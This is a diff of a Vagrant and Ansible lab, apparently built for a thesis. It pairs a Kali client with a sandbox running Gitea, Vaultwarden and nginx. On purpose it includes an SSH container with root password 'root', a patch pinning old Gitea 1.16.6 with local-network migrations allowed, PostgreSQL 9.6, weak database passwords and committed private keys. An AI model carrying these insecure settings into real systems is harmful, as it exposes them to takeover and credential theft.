+1.5:e88dc80c-9521-4f90-95d5-4fb243f94f47
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/action_set_name hybrid/.vagrant/machines/client/virtualbox/action_set_name
--- base/.vagrant/machines/client/virtualbox/action_set_name 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/action_set_name 2025-05-16 19:35:00.996251945 +0200
@@ -0,0 +1 @@
+1747416900
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/box_meta hybrid/.vagrant/machines/client/virtualbox/box_meta
--- base/.vagrant/machines/client/virtualbox/box_meta 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/box_meta 2025-05-16 19:37:05.102859035 +0200
@@ -0,0 +1 @@
+{"name":"kalilinux/rolling","version":"2025.1.0","provider":"virtualbox","directory":"boxes/kalilinux-VAGRANTSLASH-rolling/2025.1.0/amd64/virtualbox"}
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/creator_uid hybrid/.vagrant/machines/client/virtualbox/creator_uid
--- base/.vagrant/machines/client/virtualbox/creator_uid 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/creator_uid 2025-05-16 19:35:00.360264104 +0200
@@ -0,0 +1 @@
+1000
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/id hybrid/.vagrant/machines/client/virtualbox/id
--- base/.vagrant/machines/client/virtualbox/id 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/id 2025-05-16 19:35:00.360264104 +0200
@@ -0,0 +1 @@
+e88dc80c-9521-4f90-95d5-4fb243f94f47
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/index_uuid hybrid/.vagrant/machines/client/virtualbox/index_uuid
--- base/.vagrant/machines/client/virtualbox/index_uuid 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/index_uuid 2025-05-16 19:35:00.365264008 +0200
@@ -0,0 +1 @@
+7c7ce4783d7f48b28436a1de850ba957
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/private_key hybrid/.vagrant/machines/client/virtualbox/private_key
--- base/.vagrant/machines/client/virtualbox/private_key 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/private_key 2025-05-16 19:35:28.005734548 +0200
@@ -0,0 +1,8 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAA
+AAtzc2gtZWQyNTUxOQAAACCDja7QoNOjkzrCeE3ghwFsylAHTdTrCFWoRVso
+r87iMwAAAJCuEJUOrhCVDgAAAAtzc2gtZWQyNTUxOQAAACCDja7QoNOjkzrC
+eE3ghwFsylAHTdTrCFWoRVsor87iMwAAAEC0o0rgBdsIVpUoatFV67Dw4ZyG
+PT5Q/3Sfiy88ShdsYYONrtCg06OTOsJ4TeCHAWzKUAdN1OsIVahFWyivzuIz
+AAAAB3ZhZ3JhbnQBAgMEBQY=
+-----END OPENSSH PRIVATE KEY-----
diff --color -ruN base/.vagrant/machines/client/virtualbox/synced_folders hybrid/.vagrant/machines/client/virtualbox/synced_folders
--- base/.vagrant/machines/client/virtualbox/synced_folders 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/synced_folders 2025-05-16 19:37:09.104781255 +0200
@@ -0,0 +1 @@
+{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/nano/Documents/bachthesis/setup/webserver/hybrid","disabled":false,"__vagrantfile":true}}}
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/client/virtualbox/vagrant_cwd hybrid/.vagrant/machines/client/virtualbox/vagrant_cwd
--- base/.vagrant/machines/client/virtualbox/vagrant_cwd 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/vagrant_cwd 2025-05-16 19:34:14.358140414 +0200
@@ -0,0 +1 @@
+/home/nano/Documents/bachthesis/setup/webserver/hybrid
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/action_provision hybrid/.vagrant/machines/sandbox/virtualbox/action_provision
--- base/.vagrant/machines/sandbox/virtualbox/action_provision 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/action_provision 2025-05-16 20:47:43.933737193 +0200
@@ -0,0 +1 @@
+1.5:c759b140-fa01-4cb9-9e78-1bbbb473e28b
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/action_set_name hybrid/.vagrant/machines/sandbox/virtualbox/action_set_name
--- base/.vagrant/machines/sandbox/virtualbox/action_set_name 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/action_set_name 2025-05-16 20:47:16.586245129 +0200
@@ -0,0 +1 @@
+1747421236
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/box_meta hybrid/.vagrant/machines/sandbox/virtualbox/box_meta
--- base/.vagrant/machines/sandbox/virtualbox/box_meta 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/box_meta 2025-05-16 20:47:39.050827934 +0200
@@ -0,0 +1 @@
+{"name":"ubuntu/jammy64","version":"20241002.0.0","provider":"virtualbox","directory":"boxes/ubuntu-VAGRANTSLASH-jammy64/20241002.0.0/virtualbox"}
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/creator_uid hybrid/.vagrant/machines/sandbox/virtualbox/creator_uid
--- base/.vagrant/machines/sandbox/virtualbox/creator_uid 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/creator_uid 2025-05-16 20:47:15.934257231 +0200
@@ -0,0 +1 @@
+1000
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/id hybrid/.vagrant/machines/sandbox/virtualbox/id
--- base/.vagrant/machines/sandbox/virtualbox/id 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/id 2025-05-16 20:47:15.934257231 +0200
@@ -0,0 +1 @@
+c759b140-fa01-4cb9-9e78-1bbbb473e28b
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/index_uuid hybrid/.vagrant/machines/sandbox/virtualbox/index_uuid
--- base/.vagrant/machines/sandbox/virtualbox/index_uuid 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/index_uuid 2025-05-16 20:47:15.941257101 +0200
@@ -0,0 +1 @@
+a2ce833661ec4d9ebcd90af9f8d9d658
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/private_key hybrid/.vagrant/machines/sandbox/virtualbox/private_key
--- base/.vagrant/machines/sandbox/virtualbox/private_key 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/private_key 2025-05-16 20:47:36.529874774 +0200
@@ -0,0 +1,8 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAA
+AAtzc2gtZWQyNTUxOQAAACCoHi4Q+gsoRdbgU6yQJUpj6kOm8/oIzTJC9uaU
+O8VkWgAAAJCfxk0Yn8ZNGAAAAAtzc2gtZWQyNTUxOQAAACCoHi4Q+gsoRdbg
+U6yQJUpj6kOm8/oIzTJC9uaUO8VkWgAAAEAR2S8XEN4rdFqnz7eKsrzkvU01
+aWQNxaNVNcNGrOilrqgeLhD6CyhF1uBTrJAlSmPqQ6bz+gjNMkL25pQ7xWRa
+AAAAB3ZhZ3JhbnQBAgMEBQY=
+-----END OPENSSH PRIVATE KEY-----
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/synced_folders hybrid/.vagrant/machines/sandbox/virtualbox/synced_folders
--- base/.vagrant/machines/sandbox/virtualbox/synced_folders 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/synced_folders 2025-05-16 20:47:43.000754532 +0200
@@ -0,0 +1 @@
+{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/nano/Documents/bachthesis/setup/webserver/hybrid","disabled":false,"__vagrantfile":true}}}
\ No newline at end of file
diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/vagrant_cwd hybrid/.vagrant/machines/sandbox/virtualbox/vagrant_cwd
--- base/.vagrant/machines/sandbox/virtualbox/vagrant_cwd 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/sandbox/virtualbox/vagrant_cwd 2025-05-16 20:47:11.366181414 +0200
@@ -0,0 +1 @@
+/home/nano/Documents/bachthesis/setup/webserver/hybrid
\ No newline at end of file

61
webserver/hybrid2/Vagrantfile vendored Normal file
View File

@ -0,0 +1,61 @@
Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
BOX_VERSION = "20241002.0.0"
DESKTOP_BOX_NAME = "kalilinux/rolling"
DESKTOP_BOX_VERSION = "2025.1.0"
config.vm.define "sandbox" do |sandbox|
sandbox.vm.box = BOX_NAME
sandbox.vm.box_version = BOX_VERSION
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
sandbox.vbguest.no_install = true
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
sandbox.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/sandbox/playbook.yml"
end
sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
end
config.vm.define "client" do |client|
client.vm.box = DESKTOP_BOX_NAME
client.vm.box_version = DESKTOP_BOX_VERSION
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
client.vbguest.installer = :debian
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
v.customize ["modifyvm", :id, "--accelerate3d", "on"]
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
# required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
end
end
end

View File

@ -0,0 +1,30 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
# - name: Add Metasploit PPA
# apt_repository:
# repo: ppa:metasploit-official
# state: present
# update_cache: yes
- name: Install tools
apt:
pkg:
# - metasploit-framework
- curl
- nmap
- libnss3-tools
state: present
update_cache: yes
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present

View File

@ -0,0 +1,71 @@
services:
vaultwarden:
image: vaultwarden/server:latest
container_name: vaultwarden
restart: unless-stopped
networks:
- internal
environment:
DOMAIN: "https://bitwarden.vm.local"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
extra_hosts:
- "postgres:172.18.0.1"
gitea:
image: docker.gitea.com/gitea:latest
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- GITEA__database__HOST=postgres:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- internal
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
expose:
- 3000
- 22
extra_hosts:
- "postgres:172.18.0.1"
vulnerable:
build: /vagrant/sandbox/vuln
ports:
- 2222:22
networks:
- internal
extra_hosts:
- "postgres:172.18.0.1"
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- internal
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- 80:80
- 443:443
networks:
internal:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
gateway: 172.18.0.1

View File

@ -0,0 +1,33 @@
server {
listen 443 ssl;
server_name gitea.vm.local;
ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
location / {
proxy_pass http://gitea:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 443 ssl;
server_name bitwarden.vm.local;
ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
location / {
proxy_pass http://vaultwarden:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 80;
server_name _;
return 301 https://$host$request_uri;
}

View File

@ -0,0 +1,229 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
- name: Install required system packages
apt:
pkg:
- apt-transport-https
- ca-certificates
- curl
- software-properties-common
- virtualenv
- python3-psycopg2
- postgresql
- acl
- bc
- sysstat
state: latest
update_cache: true
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
dest: /home/vagrant/nginx.conf
- name: Copy docker compose
copy:
src: /vagrant/sandbox/docker-compose.yml
dest: /home/vagrant/docker-compose.yml
- name: Ensure certs directory exists
file:
path: /home/vagrant/nginx/certs
state: directory
mode: '0755'
- name: Install mkcert dependencies
apt:
pkg:
- libnss3-tools
- ca-certificates
state: present
update_cache: yes
- name: Download mkcert binary
get_url:
url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
dest: /usr/local/bin/mkcert
mode: '0755'
register: mkcert_download
- name: Ensure mkcert CAROOT directory exists
file:
path: /home/vagrant/.local/share/mkcert
state: directory
mode: '0755'
- name: Initialize mkcert CA
command: mkcert -install
environment:
XDG_DATA_HOME: /home/vagrant/.local/share
CAROOT: /home/vagrant/.local/share/mkcert
args:
creates: /home/vagrant/.local/share/mkcert/rootCA.pem
- name: Generate cert for gitea.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
-key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
gitea.vm.local
args:
creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
- name: Generate cert for bitwarden.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
-key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
bitwarden.vm.local
args:
creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
- name: Ensure export directory exists
file:
path: /vagrant/shared/ca
state: directory
mode: '0755'
- name: Copy mkcert rootCA.pem to shared directory
copy:
src: /home/vagrant/.local/share/mkcert/rootCA.pem
dest: /vagrant/shared/ca/rootCA.pem
remote_src: yes
- name: Add Docker GPG apt Key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
state: present
- name: Add Docker Repository
apt_repository:
repo: deb https://download.docker.com/linux/ubuntu focal stable
state: present
- name: Update apt and install docker-ce
apt:
pkg:
- docker-ce
- docker-compose-plugin
state: latest
update_cache: true
- name: Add 'vagrant' and 'git' users to docker group
user:
name: "{{ item }}"
groups: docker
append: yes
loop:
- vagrant
- git
- name: Create git user
user:
name: git
shell: /home/git/docker-shell
home: /home/git
create_home: yes
- name: Deploy docker passthrough shell
copy:
dest: /home/git/docker-shell
content: |
#!/bin/sh
exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
mode: '0755'
- name: Update SSH config for git user
blockinfile:
path: /etc/ssh/sshd_config
block: |
Match User git
AuthorizedKeysCommandUser git
AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
- name: Restart SSH
service:
name: ssh
state: restarted
- name: Ensure PostgreSQL service is running
service:
name: postgresql
state: started
enabled: yes
- name: Create PostgreSQL user for gitea
become: true
become_user: postgres
postgresql_user:
name: gitea
password: gitea
state: present
- name: Create PostgreSQL database for gitea
become: true
become_user: postgres
postgresql_db:
name: gitea
owner: gitea
state: present
- name: Create PostgreSQL user for vaultwarden
become: true
become_user: postgres
postgresql_user:
name: vaultwarden
password: vaultwarden
state: present
- name: Create PostgreSQL database for vaultwarden
become: true
become_user: postgres
postgresql_db:
name: vaultwarden
owner: vaultwarden
state: present
- name: Set PostgreSQL to listen on localhost and Docker bridge IP
become: yes
lineinfile:
path: /etc/postgresql/14/main/postgresql.conf
regexp: '^#?listen_addresses\s*='
line: "listen_addresses = 'localhost,172.18.0.1'"
notify: Restart PostgreSQL
- name: Allow connections from Docker subnet in pg_hba.conf
become: yes
lineinfile:
path: /etc/postgresql/14/main/pg_hba.conf
line: 'host all all 172.18.0.0/16 md5'
create: yes
insertafter: EOF
state: present
notify: Restart PostgreSQL
- name: Ensure Docker service is running
service:
name: docker
state: started
enabled: true
- name: Run docker compose up -d
command: docker compose up -d
args:
chdir: /home/vagrant
handlers:
- name: Restart PostgreSQL
become: yes
service:
name: postgresql
state: restarted

View File

@ -0,0 +1,9 @@
FROM ubuntu:22.04
RUN apt update && apt install -y openssh-server
RUN echo 'root:root' | chpasswd
RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

61
webserver/hybrid3/Vagrantfile vendored Normal file
View File

@ -0,0 +1,61 @@
Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
BOX_VERSION = "20241002.0.0"
DESKTOP_BOX_NAME = "kalilinux/rolling"
DESKTOP_BOX_VERSION = "2025.1.0"
config.vm.define "sandbox" do |sandbox|
sandbox.vm.box = BOX_NAME
sandbox.vm.box_version = BOX_VERSION
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
sandbox.vbguest.no_install = true
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
sandbox.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/sandbox/playbook.yml"
end
sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
end
config.vm.define "client" do |client|
client.vm.box = DESKTOP_BOX_NAME
client.vm.box_version = DESKTOP_BOX_VERSION
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
client.vbguest.installer = :debian
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
v.customize ["modifyvm", :id, "--accelerate3d", "on"]
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
# required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
end
end
end

View File

@ -0,0 +1,30 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
# - name: Add Metasploit PPA
# apt_repository:
# repo: ppa:metasploit-official
# state: present
# update_cache: yes
- name: Install tools
apt:
pkg:
# - metasploit-framework
- curl
- nmap
- libnss3-tools
state: present
update_cache: yes
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present

View File

@ -0,0 +1,71 @@
services:
vaultwarden:
image: vaultwarden/server:latest
container_name: vaultwarden
restart: unless-stopped
networks:
- internal
environment:
DOMAIN: "https://bitwarden.vm.local"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
extra_hosts:
- "postgres:172.18.0.1"
gitea:
image: docker.gitea.com/gitea:latest
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- GITEA__database__HOST=postgres:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- internal
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
expose:
- 3000
- 22
extra_hosts:
- "postgres:172.18.0.1"
vulnerable:
build: /vagrant/sandbox/vuln
ports:
- 2222:22
networks:
- internal
extra_hosts:
- "postgres:172.18.0.1"
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- internal
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- 80:80
- 443:443
networks:
internal:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
gateway: 172.18.0.1

View File

@ -0,0 +1,33 @@
server {
listen 443 ssl;
server_name gitea.vm.local;
ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
location / {
proxy_pass http://gitea:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 443 ssl;
server_name bitwarden.vm.local;
ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
location / {
proxy_pass http://vaultwarden:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 80;
server_name _;
return 301 https://$host$request_uri;
}

View File

@ -0,0 +1,229 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
- name: Install required system packages
apt:
pkg:
- apt-transport-https
- ca-certificates
- curl
- software-properties-common
- virtualenv
- python3-psycopg2
- postgresql
- acl
- bc
- sysstat
state: latest
update_cache: true
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
dest: /home/vagrant/nginx.conf
- name: Copy docker compose
copy:
src: /vagrant/sandbox/docker-compose.yml
dest: /home/vagrant/docker-compose.yml
- name: Ensure certs directory exists
file:
path: /home/vagrant/nginx/certs
state: directory
mode: '0755'
- name: Install mkcert dependencies
apt:
pkg:
- libnss3-tools
- ca-certificates
state: present
update_cache: yes
- name: Download mkcert binary
get_url:
url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
dest: /usr/local/bin/mkcert
mode: '0755'
register: mkcert_download
- name: Ensure mkcert CAROOT directory exists
file:
path: /home/vagrant/.local/share/mkcert
state: directory
mode: '0755'
- name: Initialize mkcert CA
command: mkcert -install
environment:
XDG_DATA_HOME: /home/vagrant/.local/share
CAROOT: /home/vagrant/.local/share/mkcert
args:
creates: /home/vagrant/.local/share/mkcert/rootCA.pem
- name: Generate cert for gitea.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
-key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
gitea.vm.local
args:
creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
- name: Generate cert for bitwarden.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
-key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
bitwarden.vm.local
args:
creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
- name: Ensure export directory exists
file:
path: /vagrant/shared/ca
state: directory
mode: '0755'
- name: Copy mkcert rootCA.pem to shared directory
copy:
src: /home/vagrant/.local/share/mkcert/rootCA.pem
dest: /vagrant/shared/ca/rootCA.pem
remote_src: yes
- name: Add Docker GPG apt Key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
state: present
- name: Add Docker Repository
apt_repository:
repo: deb https://download.docker.com/linux/ubuntu focal stable
state: present
- name: Update apt and install docker-ce
apt:
pkg:
- docker-ce
- docker-compose-plugin
state: latest
update_cache: true
- name: Add 'vagrant' and 'git' users to docker group
user:
name: "{{ item }}"
groups: docker
append: yes
loop:
- vagrant
- git
- name: Create git user
user:
name: git
shell: /home/git/docker-shell
home: /home/git
create_home: yes
- name: Deploy docker passthrough shell
copy:
dest: /home/git/docker-shell
content: |
#!/bin/sh
exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
mode: '0755'
- name: Update SSH config for git user
blockinfile:
path: /etc/ssh/sshd_config
block: |
Match User git
AuthorizedKeysCommandUser git
AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
- name: Restart SSH
service:
name: ssh
state: restarted
- name: Ensure PostgreSQL service is running
service:
name: postgresql
state: started
enabled: yes
- name: Create PostgreSQL user for gitea
become: true
become_user: postgres
postgresql_user:
name: gitea
password: gitea
state: present
- name: Create PostgreSQL database for gitea
become: true
become_user: postgres
postgresql_db:
name: gitea
owner: gitea
state: present
- name: Create PostgreSQL user for vaultwarden
become: true
become_user: postgres
postgresql_user:
name: vaultwarden
password: vaultwarden
state: present
- name: Create PostgreSQL database for vaultwarden
become: true
become_user: postgres
postgresql_db:
name: vaultwarden
owner: vaultwarden
state: present
- name: Set PostgreSQL to listen on localhost and Docker bridge IP
become: yes
lineinfile:
path: /etc/postgresql/14/main/postgresql.conf
regexp: '^#?listen_addresses\s*='
line: "listen_addresses = 'localhost,172.18.0.1'"
notify: Restart PostgreSQL
- name: Allow connections from Docker subnet in pg_hba.conf
become: yes
lineinfile:
path: /etc/postgresql/14/main/pg_hba.conf
line: 'host all all 172.18.0.0/16 md5'
create: yes
insertafter: EOF
state: present
notify: Restart PostgreSQL
- name: Ensure Docker service is running
service:
name: docker
state: started
enabled: true
- name: Run docker compose up -d
command: docker compose up -d
args:
chdir: /home/vagrant
handlers:
- name: Restart PostgreSQL
become: yes
service:
name: postgresql
state: restarted

View File

@ -0,0 +1,9 @@
FROM ubuntu:22.04
RUN apt update && apt install -y openssh-server
RUN echo 'root:root' | chpasswd
RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

88
webserver/insecure.patch Normal file
View File

@ -0,0 +1,88 @@
diff --color -ruN hybrid/sandbox/docker-compose.yml insecure/sandbox/docker-compose.yml
--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
+++ insecure/sandbox/docker-compose.yml 2025-05-19 13:21:23.282832190 +0200
@@ -16,7 +16,7 @@
- "postgres:172.18.0.1"
gitea:
- image: docker.gitea.com/gitea:latest
+ image: docker.gitea.com/gitea:1.16.6
container_name: gitea
environment:
- USER_UID=1000
@@ -27,6 +27,8 @@
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
+ - GITEA__server__ROOT_URL=https://gitea.vm.local/
+ - GITEA__migrations__ALLOW_LOCALNETWORKS=true
restart: unless-stopped
networks:
- internal
@@ -34,6 +36,8 @@
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
+ ports:
+ - 3000:3000
expose:
- 3000
- 22
diff --color -ruN hybrid/sandbox/playbook.yml insecure/sandbox/playbook.yml
--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
+++ insecure/sandbox/playbook.yml 2025-05-18 20:20:58.296668091 +0200
@@ -7,6 +7,17 @@
default_container_image: hello-world
default_container_command: sleep 1
tasks:
+ - name: Add PostgreSQL APT repository key
+ apt_key:
+ url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
+ state: present
+
+ - name: Add PostgreSQL APT repository
+ apt_repository:
+ repo: deb http://apt.postgresql.org/pub/repos/apt jammy-pgdg main
+ state: present
+ filename: 'pgdg'
+
- name: Install required system packages
apt:
pkg:
@@ -16,12 +27,17 @@
- software-properties-common
- virtualenv
- python3-psycopg2
- - postgresql
- acl
- bc
- sysstat
state: latest
update_cache: true
+
+ - name: Install PostgreSQL 9.6
+ apt:
+ name: postgresql-9.6
+ state: present
+ update_cache: yes
- name: Copy nginx conf
copy:
@@ -194,7 +210,7 @@
